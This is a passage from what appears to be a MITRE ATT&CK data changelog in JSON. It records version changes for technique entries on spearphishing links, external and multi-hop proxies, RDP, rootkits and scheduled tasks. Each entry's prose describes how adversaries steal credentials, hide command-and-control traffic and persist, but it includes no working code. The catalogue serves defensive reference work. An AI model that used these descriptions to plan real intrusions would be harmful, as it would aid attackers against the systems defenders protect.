>: Mr. D0x BitB 2022)  Adversaries can use phishing kits such>Mr. D0x BitB 2022)  Adversaries can use phishing kits such a
> as `EvilProxy` and `Evilginx2` to perform adversary-in-the->s `EvilProxy` and `Evilginx2` to perform adversary-in-the-mi
>middle phishing by proxying the connection between the victi>ddle phishing by proxying the connection between the victim 
>m and the legitimate website. On a successful login, the vic>and the legitimate website. On a successful login, the victi
>tim is redirected to the legitimate website, while the adver>m is redirected to the legitimate website, while the adversa
>sary captures their session cookie (i.e., [Steal Web Session>ry captures their session cookie (i.e., [Steal Web Session C
> Cookie](https://attack.mitre.org/techniques/T1539)) in addi>ookie](https://attack.mitre.org/techniques/T1539)) in additi
>tion to their username and password. This may enable the adv>on to their username and password. This may enable the adver
>ersary to then bypass MFA via [Web Session Cookie](https://a>sary to then bypass MFA via [Web Session Cookie](https://att
>ttack.mitre.org/techniques/T1550/004).(Citation: Proofpoint >ack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Hu
>Human Factor)  Adversaries may also send a malicious link in>man Factor)  Adversaries may also send a malicious link in t
> the form of Quick Response (QR) Codes (also known as \u201cquish>he form of Quick Response (QR) Codes (also known as \u201cquishin
>ing\u201d). These links may direct a victim to a credential phish>g\u201d). These links may direct a victim to a credential phishin
>ing page.(Citation: QR-campaign-energy-firm) By using a QR c>g page.(Citation: QR-campaign-energy-firm) By using a QR cod
>ode, the URL may not be exposed in the email and may thus go>e, the URL may not be exposed in the email and may thus go u
> undetected by most automated email security scans.(Citation>ndetected by most automated email security scans.(Citation: 
>: qr-phish-agriculture) These QR codes may be scanned by or >qr-phish-agriculture) These QR codes may be scanned by or de
>delivered directly  to a user\u2019s mobile device (i.e., [Phishi>livered directly  to a user\u2019s mobile device (i.e., [Phishing
>ng](https://attack.mitre.org/techniques/T1660)), which may b>](https://attack.mitre.org/techniques/T1660)), which may be 
>e less secure in several relevant ways.(Citation: qr-phish-a>less secure in several relevant ways.(Citation: qr-phish-agr
>griculture) For example, mobile users may not be able to not>iculture) For example, mobile users may not be able to notic
>ice minor differences between genuine and credential harvest>e minor differences between genuine and credential harvestin
>ing websites due to mobile\u2019s smaller form factor.  From the >g websites due to mobile\u2019s smaller form factor.  From the fa
>fake website, information is gathered in web forms and sent >ke website, information is gathered in web forms and sent to
>to the adversary. Adversaries may also use information from > the adversary. Adversaries may also use information from pr
>previous reconnaissance efforts (ex: [Search Open Websites/D>evious reconnaissance efforts (ex: [Search Open Websites/Dom
>omains](https://attack.mitre.org/techniques/T1593) or [Searc>ains](https://attack.mitre.org/techniques/T1593) or [Search 
>h Victim-Owned Websites](https://attack.mitre.org/techniques>Victim-Owned Websites](https://attack.mitre.org/techniques/T
>/T1594)) to craft persuasive and believable lures.>1594)) to craft persuasive and believable lures.
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0878: Detection of Spearphishing Link" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 23:12:18.466000+00:00", + "modified": "2025-10-24 17:48:54.165000+00:00", + "name": "External Proxy", + "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1090/002", + "external_id": "T1090.002" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "Network Devices", + "Windows", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.165000+00:00\", \"old_value\": \"2025-04-15 19:58:38.556000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0325: External Proxy Behavior via Outbound Relay to Intermediate Infrastructure" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 23:23:41.770000+00:00", + "modified": "2025-10-24 17:49:11.774000+00:00", + "name": "Multi-hop Proxy", + "description": "Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks \u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.(Citation: ORB Mandiant) \n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. \n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1090/003", + "external_id": "T1090.003" + }, + { + "source_name": "ORB Mandiant", + "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" + }, + { + "source_name": "NGLite Trojan", + "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.", + "url": "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" + }, + { + "source_name": "Onion Routing", + "description": "Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.", + "url": "https://en.wikipedia.org/wiki/Onion_routing" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Eduardo Chavarro Ovalle" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.774000+00:00\", \"old_value\": \"2025-04-15 19:58:56.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\\n\\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\\n-\\n-In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.4\", \"old_value\": \"2.3\"}}}", + "previous_version": "2.3", + "version_change": "2.3 \u2192 2.4", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0359: Multi-hop Proxy Behavior via Relay Node Chaining, Onion Routing, and Network Tunneling" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:23:26.059000+00:00", + "modified": "2025-10-24 17:49:33.524000+00:00", + "name": "Remote Desktop Protocol", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/001", + "external_id": "T1021.001" + }, + { + "source_name": "Alperovitch Malware", + "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20191115195333/https://www.crowdstrike.com/blog/adversary-tricks-crowdstrike-treats/" + }, + { + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Logon Session: Logon Session Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.524000+00:00\", \"old_value\": \"2025-04-15 19:59:18.689000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication", + "M1035: Limit Access to Resource Over Network", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0327: Multi-event Detection Strategy for RDP-Based Remote Logins and Post-Access Activity" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:26.496000+00:00", + "modified": "2025-10-24 17:48:24.032000+00:00", + "name": "Rootkit", + "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\n\nRootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1014", + "external_id": "T1014" + }, + { + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" + }, + { + "source_name": "BlackHat Mac OSX Rootkit", + "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.", + "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf" + }, + { + "source_name": "Symantec Windows Rootkits", + "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.", + "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf" + }, + { + "source_name": "Wikipedia Rootkit", + "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.", + "url": "https://en.wikipedia.org/wiki/Rootkit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Menachem Goldstein\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Modification\", \"Firmware: Firmware Modification\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.032000+00:00\", \"old_value\": \"2025-04-16 20:37:15.308000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \\n\\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\\n\\nRootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.\", \"old_value\": \"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \\n\\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \\n \\n-Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\\n+Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\\n+\\n+Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use rootkits to hide the presence of programt1Adversaries may use rootkits to hide the presence of program
>s, files, network connections, services, drivers, and other >s, files, network connections, services, drivers, and other 
>system components. Rootkits are programs that hide the exist>system components. Rootkits are programs that hide the exist
>ence of malware by intercepting/hooking and modifying operat>ence of malware by intercepting/hooking and modifying operat
>ing system API calls that supply system information. (Citati>ing system API calls that supply system information. (Citati
>on: Symantec Windows Rootkits)   Rootkits or rootkit enablin>on: Symantec Windows Rootkits)   Rootkits or rootkit enablin
>g functionality may reside at the user or kernel level in th>g functionality may reside at the user or kernel level in th
>e operating system or lower, to include a hypervisor, Master>e operating system or lower, to include a hypervisor or [Sys
> Boot Record, or [System Firmware](https://attack.mitre.org/>tem Firmware](https://attack.mitre.org/techniques/T1542/001)
>techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkit>. (Citation: Wikipedia Rootkit) Rootkits have been seen for 
>s have been seen for Windows, Linux, and Mac OS X systems. (>Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike
>Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac> Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)  Rootki
> OSX Rootkit)>ts that reside or modify boot sectors are known as [Bootkit]
 >(https://attack.mitre.org/techniques/T1542/003)s and specifi
 >cally target the boot process of the operating system.
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)", + "DS0016: Drive (Drive Modification)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0377: Detection of Kernel/User-Level Rootkit Behavior Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-27 14:58:00.429000+00:00", + "modified": "2025-10-24 17:48:19.176000+00:00", + "name": "Scheduled Task", + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/005", + "external_id": "T1053.005" + }, + { + "source_name": "ProofPoint Serpent", + "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + }, + { + "source_name": "Defending Against Scheduled Task Attacks in Windows Environments", + "description": "Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.", + "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments" + }, + { + "source_name": "Twitter Leoloobeek Scheduled Task", + "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.", + "url": "https://x.com/leoloobeek/status/939248813465853953" + }, + { + "source_name": "Tarrask scheduled task", + "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/" + }, + { + "source_name": "Microsoft Scheduled Task Events Win10", + "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events" + }, + { + "source_name": "TechNet Scheduled Task Events", + "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", + "url": "https://technet.microsoft.com/library/dd315590.aspx" + }, + { + "source_name": "Red Canary - Atomic Red Team", + "description": "Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.", + "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "TechNet Forum Scheduled Task Operational Setting", + "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", + "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen" + }, + { + "source_name": "SigmaHQ", + "description": "Sittikorn S. (2022, April 15). Removal Of SD Value to 